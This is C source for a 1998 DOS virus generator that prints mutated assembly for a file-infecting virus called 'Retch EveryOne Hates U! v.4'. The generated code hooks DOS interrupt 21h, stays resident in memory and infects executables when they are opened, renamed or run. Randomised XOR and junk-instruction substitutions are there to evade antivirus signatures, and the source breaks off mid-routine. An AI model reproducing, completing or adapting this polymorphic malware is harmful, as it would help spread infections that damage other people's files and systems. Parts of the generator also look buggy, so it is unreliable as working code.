/* Mass O Shit MOS by the Digital Anarchist/DSD featuring
   Retch EveryOne Hates U! v.4 a shity virus for a
   shity person

Varialbe Assignments
cminor  This little piggy is used in several places where the random piece of
        code is a 1 liner. ie replace cwd with xor dx,dx
c1-c7 - There are 7 sections of code that have been setup for what is usualy
        1 of 6  possible outcomes.  c1-c7 represent their respective section
c1old - We have to keep track of old values so the next run doesnt produce the
c7old   same code as the last run.  NA in the cgi/web based version.
        loop1 - Just a variable used for all the logic loops.
x,y,z - 3 variables used in the logic that x=y(XOR)z knowing 2 of the variables
        you can solve for the 3rd.  With this knowing what end value you want
        you can generate a random number for your 1st mov and then XOR that
        value to get what you really wanted.
rn2 -   Loop variable for the whole program, wich isnt used in the web version
        since the web version is a static number of 1.
st2 -   Originally used as the string equivalent of rn2

        7-17-98 Started conversion from borland c++ to gnu c++
                Found a few small problems in the asm section and fixed them
                but that still needs testing to make sure it works ..
                So call this version .7d 
                The itoa lines should be converted to sprintf
                The rehu 50/50 needs to be fixed
        7-18-98 Fixed the 50/50 section, by changing second check to a 2 vice 0
                Found a fixed a problem found mostly in the Minor section.  This
                fix converted all the itoa lines to sprintf.
                Ready for testing and adjustment for life as cgi
        7-20-98 Chased down the problem with the 1st asm of the run always being
                screwed up.  
                Found a misnake in my initialization of random(). DOH!@
                Need to convert this print to the screen vice file.
        7-30-98 Cleaned up a bit and completed conversion to something that can
                be used as a unix based cgi program.  Just use the mos.cgi
                to load up colors and fonts.
*/

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <ctype.h>

main(int argc, char *argv[])
{
    int  cminor, c1, c2, c3, c4, c5, c6, c7, c1old, c2old, c3old, c4old,
    c5old, c6old, c7old, lc1, st2, rn1, rn2, ul1, loop1,x,y,z,xor;
    FILE *virname, *batname;
    char ch;
    char *src, beta[30], s, t;
    char src1[1000];
    char s1[12], s2[8];
        
    srandom(time(NULL));
    /* junk values placed in old for 1st run of program */

    c1=(random()%6);
    c2=c1;
    c3=c1;
    c4=c1;
    c5=c1;
    c6=c1;
    c7=c1;
    c1old=c1;
    c2old=c1;
    c3old=c1;
    c4old=c1;
    c5old=c1;
    c6old=c1;
    c7old=c1;

    st2 = 1;

    printf ("Mass O Shit v.7d by the Digital Anarchist[DSD]<br>\n");
    printf ("Generating %d random copy of R.E.H.U\n\n<br><pre>",1);

    for (rn2=0; rn2<st2; ) {

        /*  ====== Beginning of Virus Source Code =========================  */

        fprintf(stdout,";                       Retch EveryOne Hates U! v.4\n");
        fprintf(stdout,";\n");
        fprintf(stdout,";              Code Generated by MOS v.7d\n");
        fprintf(stdout,";      About 1/2 of the code has been put in the blender\n");
        fprintf(stdout,";      along with 8 minor changes and and some random changes\n");
        fprintf(stdout,";      in the minor code.  Total possible variations in a \n");
        fprintf(stdout,";      rough estimate is upto 5.5*10^44\n");
        fprintf(stdout,";\n");
        fprintf(stdout,";      This code is compiled/tested using TASM v3.0 \n");
        fprintf(stdout,";      To compile tasm /m virus.asm   tlink /t virus.obj \n");
          fprintf(stdout,";      or just run compile.bat \n");
        fprintf(stdout,";\n");
        fprintf(stdout,";\n");
        fprintf(stdout,"PAGE            64, 132\n");
        fprintf(stdout,"MOD_SIZE                EQU     (mod_top-start+0fh)/10h                           \n");
        fprintf(stdout,"ARE_SIZE                EQU     (are_top-start+0fh)/10h                           \n");
        fprintf(stdout,"STK_SIZE                EQU     (are_top-start+10h)                               \n");
        fprintf(stdout,"seg_c                   SEGMENT BYTE PUBLIC 'CODE'                                \n");
        fprintf(stdout,"ASSUME          cs:seg_c , ds:seg_c , ss:seg_s                                    \n");
        fprintf(stdout,"boot                    PROC    FAR       \n");
        fprintf(stdout,"start:                \n");
        fprintf(stdout,"        call    calc  \n");
        fprintf(stdout,"calc:                \n");
        fprintf(stdout,"         pop    bp   \n");
        fprintf(stdout,"         sub    bp, (calc-start)                                                  \n");
        fprintf(stdout,"         push   bp \n");
        fprintf(stdout,"         pop    si \n");
        fprintf(stdout,"                   \n");
        fprintf(stdout,"                   \n");
        fprintf(stdout,"        push    ds \n");

        /*
        y=srand(110)+1;
        fprintf(stdout,";        mov     ah, 35h                  ; Blender Point #1 \n");
        fprintf(stdout,";        mov     al, 21h                  ; Goal mov ah,3521h \n");
*/
        c7old=c7;
        fprintf(stdout,";------------| mov ax,3521h |------ Point #1 ---------\n");
        for (;;){
            if (c1!=c1old) break;
            c1=(random()%6);
        }
        c1=c1+1;
        if (c1==6) c1=0;
        if (c1==0) {
            //            y=random(110)+1;
            y=(random()%220)+1;
            z=53;
            xor=z^y;
            fprintf(stdout,"        mov     ah, 0%xh\n",xor);
            fprintf(stdout,"        xor     ah, 0%xh\n",y);
            y=(random()%110)+1;
            z=33;
            xor=z^y;
            fprintf(stdout,"        mov     al, 0%xh\n",xor);
            fprintf(stdout,"        xor     al, 0%xh\n",y);
        }
        if (c1==1) {
            //            y=random(110)+1;
            y=(random()%220)+1;
            z=33;
            xor=z^y;
            fprintf(stdout,"        mov     al, 0%xh\n",xor);
            fprintf(stdout,"        xor     al, 0%xh\n",y);
            z=53;
            xor=z^y;
            fprintf(stdout,"        mov     ah, 0%xh\n",xor);
            fprintf(stdout,"        xor     ah, 0%xh\n",y);
        }
        if (c1==2) {
            fprintf(stdout,"        mov     ax, 1414h  \n");
            fprintf(stdout,"        xor     al, 35h  \n");
            fprintf(stdout,"        xor     ah, 21h  \n");
        }
        if (c1==3) {
            fprintf(stdout,"        mov     ax, 0013h  \n");
            fprintf(stdout,"        not     ax  \n");
            fprintf(stdout,"        xor     ax, 0cacdh  \n");

        }
        if (c1==4) {
            fprintf(stdout,"        mov     al, 20h  \n");
            fprintf(stdout,"        inc     al \n");
            fprintf(stdout,"        mov     ah, 35h  \n");
        }
        if (c1==5) {
            fprintf(stdout,"        mov     al, 21h  \n");
            fprintf(stdout,"        mov     ah, 36h  \n");
            fprintf(stdout,"        dec     ah  \n");
        }
        fprintf(stdout,"        int     21h  \n");
        fprintf(stdout,"check:        \n");
        fprintf(stdout,"        cli   \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR cs:vec_21h+2[si], es   \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR cs:vec_21h  [si], bx   \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ax, ds   \n");
        fprintf(stdout,"        add     WORD PTR cs:jump  +3[si], ax    \n");
        fprintf(stdout,"        add     WORD PTR cs:sssave+1[si], ax    \n");
        fprintf(stdout,"        dec     ax  \n");
        fprintf(stdout,"checj:\n");
        fprintf(stdout,"        jmp     SHORT first          \n");
        fprintf(stdout,"next:                                \n");
        fprintf(stdout,"        cmp     BYTE PTR es:0, 4dh   \n");
        fprintf(stdout,"        jne     exit                 \n");
        fprintf(stdout,"        add     ax, es:3             \n");
        fprintf(stdout,"first: \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     es, ax               \n");

        fprintf(stdout,"        inc     ax                   \n");
        fprintf(stdout,"        cmp     BYTE PTR es:0, 5ah ;Z  \n");
        fprintf(stdout,"        jne     next                    \n");
        fprintf(stdout,"        mov     bx, es:3                \n");
        fprintf(stdout,"        sub     bx, ARE_SIZE            \n");
        fprintf(stdout,"        jc      exit                    \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     es:3, bx                \n");
        fprintf(stdout,"        sub     WORD PTR es:12h, ARE_SIZE \n");
        fprintf(stdout,"        add     ax, bx   \n");
        fprintf(stdout,"        mov     es, ax   \n");
        fprintf(stdout,";------------| xor di,di |------- minor #1 -----------\n");

        cminor=(random()%4);
        if (cminor==0) {
            fprintf(stdout,"        xor     di,di  \n");
        }
        if (cminor==1) {
            fprintf(stdout,"        mov     di,0  \n");
        }
        if (cminor==2) {
            fprintf(stdout,"        sub     di,di  \n");
        }
        if (cminor==3) {
            fprintf(stdout,"        xor     di,di  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     di,%sh  \n",src1);
            fprintf(stdout,"        sub     di,%sh  \n",src1);
        }
        if (cminor==4) {
            fprintf(stdout,"        add     di,%sh  \n",src1);
            fprintf(stdout,"        xor     di,di  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
        }
        if (cminor==5) {
            fprintf(stdout,"        add     di,%sh  \n",src1);
            fprintf(stdout,"        sub     di,%sh  \n",src1);
            fprintf(stdout,"        xor     di,di  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
        }


        /* Possible Blender  */
        fprintf(stdout,"        mov     cx, MOD_SIZE*10h+4  \n");
        fprintf(stdout,"        cld                         \n");
        fprintf(stdout,"rloop:                              \n");
        fprintf(stdout,"        movs   byte ptr es:[di],cs:[si]     \n");
        fprintf(stdout,"        loop    rloop      \n");
        fprintf(stdout,"        push    es         \n");
        fprintf(stdout,"        pop     ds         \n");
        //        fprintf(stdout,"        mov     BYTE PTR ds:int_21h, 09ch  \n");
        fprintf(stdout,";------------| mov BYTE PTR ds:int_21h, 09ch |------------ XOR #* -----------\n");
        y=(random()%156)+1;
        z=156;
        xor=z^y;
        fprintf(stdout,"        mov     BYTE PTR ds:int_21h, 0%xh\n",xor);
        fprintf(stdout,"        xor     BYTE PTR ds:int_21h, 0%xh\n",y);
        /* Possible Blender */
        fprintf(stdout,"        mov     dx, (int_21h-start) \n");
        fprintf(stdout,"                                    \n");
        fprintf(stdout,";------------| mov ax,2521h |------------ Point #2 -----------\n");

        c1old=c1;
        for (;;){
            if (c2!=c2old) break;
            for (rn1=0;rn1<530;rn1++) c2=(random()%6)   ;
        }
        c2=c2+1;
        if (c2==6) c2=0;
        if (c2==0) {
            y=(random()%65534)+1;
            z=9505;
            xor=z^y;
            fprintf(stdout,"        mov     ax, 0%xh\n",xor);
            fprintf(stdout,"        xor     ax, 0%xh\n",y);

        }
        if (c2==1) {
            y=(random()%65534)+1;
            z=9504;
            xor=z^y;
            fprintf(stdout,"        mov     ax, 0%xh\n",xor);
            fprintf(stdout,"        xor     ax,% 0xh\n",y);
            fprintf(stdout,"        inc     ax \n");
        }
        if (c2==2) {
            y=(random()%65534)+1;
            z=9506;
            xor=z^y;
            fprintf(stdout,"        mov     ax, 0%xh\n",xor);
            fprintf(stdout,"        xor     ax, 0%xh\n",y);
            fprintf(stdout,"        dec     ax \n");
        }
        if (c2==3) {
            fprintf(stdout,"        mov     ax,0013h \n");
            fprintf(stdout,"        inc     ax \n");
            fprintf(stdout,"        xor     ax,2532h \n");
            fprintf(stdout,"        sub     ax,0005h \n");
        }
        if (c2==4) {
            y=(random()%65534)+1;
            z=9510;
            xor=z^y;
            fprintf(stdout,"        mov     ax, 0%xh\n",xor);
            fprintf(stdout,"        xor     ax, 0%xh\n",y);
            fprintf(stdout,"        sub     ax, 0005h \n");
        }
        if (c2==5) {
            y=(random()%65534)+1;
            z=9508;
            xor=z^y;
            fprintf(stdout,"        mov     ax, 0%xh\n",xor);
            fprintf(stdout,"        xor     ax, 0%xh\n",y);
            fprintf(stdout,"        dec     ax \n");
            fprintf(stdout,"        sub     ax,0003h \n");
        }
        fprintf(stdout,"        int     21h                      \n");
        fprintf(stdout,"exit:                                    \n");
        fprintf(stdout,"        pop     ds                       \n");
        fprintf(stdout,"        push    ds                       \n");
        fprintf(stdout,"        pop     es                       \n");
        fprintf(stdout,"s_sav1:                                 \n");
        fprintf(stdout,"        jmp     SHORT sssave             \n");
        fprintf(stdout,"                 DB      00, 01, 00, 00  \n");
        fprintf(stdout,"s_sav2:                                  \n");
        fprintf(stdout,"        mov     WORD PTR ds:102h, 0      \n");
        fprintf(stdout,"s_savch:                                 \n");
        fprintf(stdout,"        mov     WORD PTR ds:110h, 0      \n");
        fprintf(stdout,"        jmp     SHORT out_c              \n");
        fprintf(stdout,"sssave:                                  \n");
        fprintf(stdout,";------------| mov     ax, 0010h |------------ XOR #* -----------\n");
            y=(random()%65534)+1;
        z=16;
        xor=z^y;
        fprintf(stdout,"        mov     ax, 0%xh\n",xor);
        fprintf(stdout,"        xor     ax, 0%xh\n",y);
        fprintf(stdout,"        mov     ss, ax                   \n");
        fprintf(stdout,"spsave:                                  \n");
        fprintf(stdout,"        mov     sp, (are_top-start)      \n");
        fprintf(stdout,"out_c:                                   \n");
        fprintf(stdout,";------------| xor ax,ax |--------- Minor #2 ---------\n");

        cminor=(random()%6);
        if (cminor==0) {
            fprintf(stdout,"        xor     ax,ax  \n");
        }
        if (cminor==1) {
            fprintf(stdout,"        mov     ax,0  \n");
        }
        if (cminor==2) {
            fprintf(stdout,"        sub     ax,ax  \n");
        }
        if (cminor==3) {
            fprintf(stdout,"        xor     ax,ax  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     ax,%sh  \n",src1);
            fprintf(stdout,"        sub     ax,%sh  \n",src1);
        }
        if (cminor==4) {
            //int itoa((random()%40),src1,10);
sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     ax,%sh  \n",src1);
            fprintf(stdout,"        xor     ax,ax  \n");
        }
        if (cminor==5) {
            //int itoa((random()%40),src1,10);
sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     ax,%sh  \n",src1);
            fprintf(stdout,"        sub     ax,%sh  \n",src1);
            fprintf(stdout,"        xor     ax,ax  \n");
        }
        fprintf(stdout,"jump:                                    \n");
        fprintf(stdout,"                        DB      0eah     \n");
        fprintf(stdout,"                        DW      (ouexit-start), 0010h \n");
        fprintf(stdout,"boot                    ENDP            ;  \n");
        fprintf(stdout,"c_200                   DW      200h       \n");
        fprintf(stdout,"c_10                    DW      10h        \n");
        fprintf(stdout,"int_24h:                                   \n");
        /* Possible Blender  */
        fprintf(stdout,";------------| mov     al, 3 |------------ XOR #* -----------\n");
        y=(random()%255)+1;
        z=3;
        xor=z^y;
        fprintf(stdout,"        mov     al, 0%xh\n",xor);
        fprintf(stdout,"        xor     al, 0%xh\n",y);
        fprintf(stdout,"        iret           \n");
        fprintf(stdout,"int_21h:               \n");
        fprintf(stdout,"        pushf          \n");
        fprintf(stdout,"        push    bp     \n");
        fprintf(stdout,";------------| xor bp, bp |------ Minor #3 ---------\n");

        cminor=(random()%6);
        if (cminor==0) {
            fprintf(stdout,"        xor     bp,bp  \n");
        }
        if (cminor==1) {
            fprintf(stdout,"        mov     bp,0  \n");
        }
        if (cminor==2) {
            fprintf(stdout,"        sub     bp,bp  \n");
        }
        if (cminor==3) {
            fprintf(stdout,"        xor     bp,bp  \n");
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     bp,%sh  \n",src1);
            fprintf(stdout,"        sub     bp,%sh  \n",src1);
        }
        if (cminor==4) {
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     bp,%sh  \n",src1);
            fprintf(stdout,"        xor     bp,bp  \n");
        }
        if (cminor==5) {
            //int itoa((random()%40),src1,10);
            sprintf(src1,"%d",random()%40);
            fprintf(stdout,"        add     bp,%sh  \n",src1);
            fprintf(stdout,"        sub     bp,%sh  \n",src1);
            fprintf(stdout,"        xor     bp,bp  \n");
        }
        fprintf(stdout,"        push    bp          \n");
        fprintf(stdout,"        popf  ;   \n");
        fprintf(stdout,"        sub     sp, 2                   ;   \n");
        fprintf(stdout,";------------| mov BYTE PTR cs:ret_i, 2eh |------------ XOR #* -----------\n");
        y=(random()%255)+1;
        z=46;
        xor=z^y;
        fprintf(stdout,"        mov     BYTE PTR cs:ret_i, 0%xh\n",xor);
        fprintf(stdout,"        xor     BYTE PTR cs:ret_i, 0%xh\n",y);
        fprintf(stdout,"        pop     bp       \n");
        fprintf(stdout,"        cmp     bp, 0    \n");
        fprintf(stdout,"        jne     ex_int   \n");
        fprintf(stdout,"        cmp     ah, 3dh  \n");
        fprintf(stdout,"        jne     next_0   \n");
        fprintf(stdout,"        cmp     al, 1h   \n");
        fprintf(stdout,"        jne     file_do  \n");
        fprintf(stdout,"next_0:                  \n");
        fprintf(stdout,"        cmp     ah, 56h  \n");
        fprintf(stdout,"        je      file_do  \n");
        /* Possible Blender  */
        fprintf(stdout,"        xchg    ah,al    \n");
        fprintf(stdout,"        cmp     al,4bh   \n");
        fprintf(stdout,"        xchg    ah,al    \n");
        fprintf(stdout,"        jne     next_1   \n");
        fprintf(stdout,"file_do:                 \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     bp, (exec_fil-call1-3)  ;   \n");
        fprintf(stdout,"next_1:                                     \n");
        fprintf(stdout,";------------| cmp ax, 3521h |-------- Point #3 ---------\n");
        c2old=c2;
        for (;;){
            if (c3!=c3old) break;
            for (rn1=0;rn1<430;rn1++) c3=(random()%6);
        }
        c3=c3+1;
        if (c3==6) c3=0;
        if (c3==0) {
            fprintf(stdout,"        cmp     ax, 3521h  \n");
        }
        if (c3==1) {
            fprintf(stdout,"        inc     ax  \n");
            fprintf(stdout,"        xor     ax, 0013h \n");
            fprintf(stdout,"        dec     ax  \n");
            fprintf(stdout,"        xor     ax, 0013h \n");
            fprintf(stdout,"        sub     ax, 0002h \n");
            fprintf(stdout,"        cmp     ax, 3521h  \n");

            /*
   This same line could be used during a run by replacing the xor with run#
   similar to the way we conver run# into the file name in fopen
*/
        }
        if (c3==2) {
            fprintf(stdout,"        xor     ax, 0013h \n");
            fprintf(stdout,"        dec     ax  \n");
            fprintf(stdout,"        xor     ax, 0013h  \n");
            fprintf(stdout,"        dec     ax  \n");
            fprintf(stdout,"        cmp     ax, 3521h \n");

        }
        if (c3==3) {
            fprintf(stdout,"        xor     ax, 0013h \n");
            fprintf(stdout,"        add     ax, 0001h \n");
            fprintf(stdout,"        dec     ax \n");
            fprintf(stdout,"        xor     ax, 0013h  \n");
            fprintf(stdout,"        cmp     ax, 3521h \n");
        }
        if (c3==4) {
            fprintf(stdout,"        sub     ax, 0013h \n");
            fprintf(stdout,"        add     ax, 0013h \n");
            fprintf(stdout,"        cmp     ax, 3521h \n");
        }
        if (c3==5) {
            fprintf(stdout,"        push    cx \n");
            fprintf(stdout,"        mov     cx, 0013h \n");
            fprintf(stdout,"sigh:                   \n");
            fprintf(stdout,"        dec     ax    \n");
            fprintf(stdout,"        loop    sigh  \n");
            fprintf(stdout,"        add     ax, 0013h \n");
            fprintf(stdout,"        pop     cx \n");
            fprintf(stdout,"        cmp     ax, 3521h \n");

        }
        fprintf(stdout,"        jne     next_2 \n");
        fprintf(stdout,"        push    si  \n");
        fprintf(stdout,";------------| bp, (ch_inst-call1-3) |------ Point #4 ---------\n");
        c3old=c3;
        for (;;){
            if (c4!=c4old) break;
            for (rn1=0;rn1<333;rn1++) c4=(random()%6);
        }
        c4=c4+1;
        if (c4==6) c4=0;
        if (c4==0) {
            fprintf(stdout,"        mov     si, (ch_inst-call1-3)\n");
        }
        if (c4==1) {
            fprintf(stdout,"        mov     si, 0\n");
            fprintf(stdout,"        mov     si, (ch_inst-call1-3)\n");
            fprintf(stdout,"        dec     si  \n");
            fprintf(stdout,"        inc     si  \n");
        }
        if (c4==2) {
            fprintf(stdout,"        mov     si, (ch_inst-call1-3)\n");
            fprintf(stdout,"        inc     si \n");
            fprintf(stdout,"        dec     si \n");
        }
        if (c4==3) {
            fprintf(stdout,"        xor     si, si \n");
            fprintf(stdout,"        mov     si, (ch_inst-call1-3)\n");
        }
        if (c4==4) {
            fprintf(stdout,"        mov     si, (ch_inst-call1-3)\n");
            fprintf(stdout,"        sub     si, 0013h \n");
            fprintf(stdout,"        add     si, 0012h \n");
            fprintf(stdout,"        xor     si, 0001h \n");
        }
        if (c4==5) {
            fprintf(stdout,"        push    cx \n");
            fprintf(stdout,"        xor     cx, cx \n");
            fprintf(stdout,"        mov     si, cx\n");
            fprintf(stdout,"        mov     cx, (ch_inst-call1-3) \n");
            fprintf(stdout,"loop0:                 \n");
            fprintf(stdout,"        inc     si \n");
            fprintf(stdout,"        loop    loop0 \n");
            fprintf(stdout,"        pop     cx \n");
        }
        fprintf(stdout,"        push    si                    \n");
        fprintf(stdout,"        pop     bp \n");
        fprintf(stdout,"        pop     si \n");
        fprintf(stdout,"next_2:            \n");
        fprintf(stdout,"        or      bp, bp \n");
        fprintf(stdout,"        jz      ex_int \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR cs:call1+1, bp \n");
        fprintf(stdout,"        cmp     bp, (exec_fil-start)    \n");
        fprintf(stdout,"        ja      ret_2                   \n");
        fprintf(stdout,"        call    caller                  \n");
        fprintf(stdout,"ex_int:                                 \n");
        fprintf(stdout,"        pop     bp                    \n");
        fprintf(stdout,"        popf                          \n");
        fprintf(stdout,"ret_i:                                      \n");
        fprintf(stdout,"        jmp     DWORD PTR cs:vec_21h        \n");
        fprintf(stdout,"ret_2:                                      \n");
        fprintf(stdout,"        call    int_21h                     \n");
        fprintf(stdout,"        push    ax                          \n");
        fprintf(stdout,"        sahf                                \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     sp, bp                      \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ss:[bp+6], ax               \n");
        fprintf(stdout,"        pop     ax                          \n");
        fprintf(stdout,"        call    caller                      \n");
        fprintf(stdout,"        pop     bp                          \n");
        fprintf(stdout,"        popf                                \n");
        fprintf(stdout,"        iret                                \n");
        fprintf(stdout,"caller                  PROC    NEAR        \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     cs:sav_ss, ss               \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     cs:sav_sp, sp               \n");
        fprintf(stdout,"        push    cs                          \n");
        fprintf(stdout,"        pop     ss                          \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     sp, OFFSET are_top          \n");
        fprintf(stdout,"        push    es                          \n");
        fprintf(stdout,"        push    ds                          \n");
        fprintf(stdout,"        push    di                          \n");
        fprintf(stdout,"        push    si                          \n");
        fprintf(stdout,"        push    ax                          \n");
        fprintf(stdout,"        push    bx                          \n");
        fprintf(stdout,"        push    cx                          \n");
        fprintf(stdout,"        push    dx                          \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     bp, sp                      \n");
        fprintf(stdout,";------------| mov BYTE PTR cs:int_21h, 0cfh |------------ XOR #* -----------\n");
        y=(random()%255)+1;
        z=207;
        xor=z^y;
        fprintf(stdout,"        mov     BYTE PTR cs:int_21h, 0%xh\n",xor);
        fprintf(stdout,"        xor     BYTE PTR cs:int_21h, 0%xh\n",y);
        fprintf(stdout,"call1:                                   \n");
        fprintf(stdout,"        call    exec_fil                 \n");
        fprintf(stdout,";------------| mov BYTE PTR cs:int_21h, 09ch |------------ XOR #* -----------\n");
        y=(random()%255)+1;
        z=156;
        xor=z^y;
        fprintf(stdout,"        mov     BYTE PTR cs:int_21h, 0%xh\n",xor);
        fprintf(stdout,"        xor     BYTE PTR cs:int_21h, 0%xh\n",y);
        fprintf(stdout,"        pop     dx                       \n");
        fprintf(stdout,"        pop     cx                       \n");
        fprintf(stdout,"        pop     bx                       \n");
        fprintf(stdout,"        pop     ax                       \n");
        fprintf(stdout,"        pop     si                       \n");
        fprintf(stdout,"        pop     di                       \n");
        fprintf(stdout,"        pop     ds                       \n");
        fprintf(stdout,"        pop     es                       \n");
        /* Possible TBAV Problem  */
        fprintf(stdout,"        mov     ss, cs:sav_ss            \n");
        fprintf(stdout,"        mov     sp, cs:sav_sp            \n");
        fprintf(stdout,"        retn                             \n");
        fprintf(stdout,"caller                  ENDP             \n");
        fprintf(stdout,"ch_inst                 PROC    NEAR     \n");
        fprintf(stdout,"        les     bx, DWORD PTR cs:sav_sp  \n");
        fprintf(stdout,"        les     bx, DWORD PTR es:[bx+6]  \n");
        fprintf(stdout,"ch_nex:                                  \n");
        fprintf(stdout,"        cmp     es:[bx], 2efah           \n");
        fprintf(stdout,"        jne     ret_inst                 \n");
        fprintf(stdout,"        add     BYTE PTR es:[bx+checj-check], (exit-first)  \n");
        fprintf(stdout,";------------| mov BYTE PTR cs:ret_i, 0cfh |------------ XOR #* -----------\n");
        y=(random()%255)+1;
        z=207;
        xor=z^y;
        fprintf(stdout,"        mov     BYTE PTR cs:ret_i, 0%xh\n",xor);
        fprintf(stdout,"        xor     BYTE PTR cs:ret_i, 0%xh\n",y);
        fprintf(stdout,"ret_inst:                                                   \n");
        fprintf(stdout,"        retn                                                \n");
        fprintf(stdout,"ch_inst                 ENDP                                                      \n");
        fprintf(stdout,"exec_fil                PROC    NEAR   \n");
        fprintf(stdout,"        call    file_o                 \n");
        fprintf(stdout,"        push    cs                     \n");
        fprintf(stdout,"        pop     ds                     \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     dx, OFFSET header      \n");
        fprintf(stdout,";------------| mov cx, 20h |--------- XOR #1 ---------\n");
        y=(random()%32766)+1;
        z=32;
        xor=z^y;
        fprintf(stdout,"        mov     cx, 0%xh\n",xor);
        fprintf(stdout,"        xor     cx, 0%xh\n",y);
        fprintf(stdout,"        call    read                   \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ax, exesp              \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR spsave+1 , ax \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR s_savch+4, ax \n");
        fprintf(stdout,"        sub     ax, exeip              \n");
        fprintf(stdout,"        cmp     ax, STK_SIZE           \n");
        fprintf(stdout,"        je      jerr                   \n");
        fprintf(stdout,";------------| mov al, 02h |-------- XOR #2 --------\n");
        y=(random()%153)+1;
        z=2;
        xor=z^y;
        fprintf(stdout,"        mov     al, 0%xh\n",xor);
        fprintf(stdout,"        xor     al, 0%xh\n",y);
        fprintf(stdout,"        call    int_str                \n");
        fprintf(stdout,"        cmp     dx, 3h                 \n");
        fprintf(stdout,"        jge     jerr                   \n");
        fprintf(stdout,"        push    ax                     \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     ax, header             \n");
        fprintf(stdout,"        jmp     afirst                 \n");
        fprintf(stdout,"bfirst:                                 ; Blender Point #5 \n");
        fprintf(stdout,"        cmp     al,4dh                  ;\n");
        fprintf(stdout,"        je      also                    ; Goal cmp ax,5a4dh\n");
        fprintf(stdout,"afirst:                                 ;\n");
        fprintf(stdout,"        cmp     ah, 5ah                ;\n");
        fprintf(stdout,"        je      bfirst                  \n");
        fprintf(stdout,"        cmp     ax, 4d5ah               ; \n");
        fprintf(stdout,"        je      also                    ; \n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR s_sav1+4, ax   ; \n");
        fprintf(stdout,";------------| mov WORD PTR s_sav1, 06c7h|-------- XOR #3 --------\n");
        y=(random()%3266)+1;
        z=1735;
        xor=z^y;
        fprintf(stdout,"        mov     WORD PTR s_sav1, 0%xh\n",xor);
        fprintf(stdout,"        xor     WORD PTR s_sav1, 0%xh\n",y);
        /* Possible Blender  */
        fprintf(stdout,"        xor     ax, ax                  ;\n");
        /* Possible Blender  */
        fprintf(stdout,"        mov     WORD PTR jump+3, ax     ;                                         \n");
        /* ===================Blender Point #5 ================= */
        fprintf(stdout,";------------| mov word ptr jump+1, 100h|-------- Point #5 ------\n");
        c4old=c4;
        for (;;){
            if (c5!=c5old) break;
            for (rn1=0;rn1<603;rn1++) c5=(random()%6);
        }
        c5=c5+1;
        if (c5==6) c5=0;
        if (c5==0) {
            fprintf(stdout,"        push cx                         ; Blender Point #5                                         \n");
            fprintf(stdout,"        mov     cx,ax                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(stdout,"        add     cx,0100h                ;                                          \n");
            fprintf(stdout,"looper:                                 ;                                          \n");
            fprintf(stdout,"        inc     ax                      ; BLENDER PIONT                           \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax     ; GOAL mov word ptr jump+1, 100h          \n");
            fprintf(stdout,"        loop    looper                  ;        or make ax 100h                  \n");
            fprintf(stdout,"        pop     cx                      ;                                         \n");
        }
        if (c5==1) {
            fprintf(stdout,"        push cx                         ; Blender Point #5                                         \n");
            fprintf(stdout,"        xor     cx,cx                   ; goal mov word ptr jump+1, 100h \n");
            fprintf(stdout,"        add     cx,0100h                ;                                          \n");
            fprintf(stdout,"looper:                                 ;                                          \n");
            fprintf(stdout,"        inc     ax                      ; BLENDER PIONT                           \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax     ; GOAL mov word ptr jump+1, 100h          \n");
            fprintf(stdout,"        loop    looper                  ;        or make ax 100h                  \n");
            fprintf(stdout,"        pop     cx                      ;                                         \n");
        }
        if (c5==2) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        mov     cx,0000h               \n");
            fprintf(stdout,"        add     cx,0100h             \n");
            fprintf(stdout,"looper:                              \n");
            fprintf(stdout,"        inc     ax                  \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax \n");
            fprintf(stdout,"        loop    looper              \n");
            fprintf(stdout,"        pop     cx                  \n");
        }
        if (c5==3) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        mov     cx,0000h             \n");
            fprintf(stdout,"        add     cx,0100h             \n");
            fprintf(stdout,"looper:                              \n");
            fprintf(stdout,"        inc     ax                  \n");
            fprintf(stdout,"        loop    looper              \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax \n");
            fprintf(stdout,"        pop     cx                  \n");
        }
        if (c5==4) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        mov     cx,0100h             \n");
            fprintf(stdout,"looper:                              \n");
            fprintf(stdout,"        inc     ax                  \n");
            fprintf(stdout,"        loop    looper              \n");
            fprintf(stdout,"        mov     word ptr jump+1, ax \n");
            fprintf(stdout,"        pop     cx                  \n");
        }
        if (c5==5) {
            fprintf(stdout,"        push cx                      \n");
            fprintf(stdout,"        mov     cx,0100h             \n");
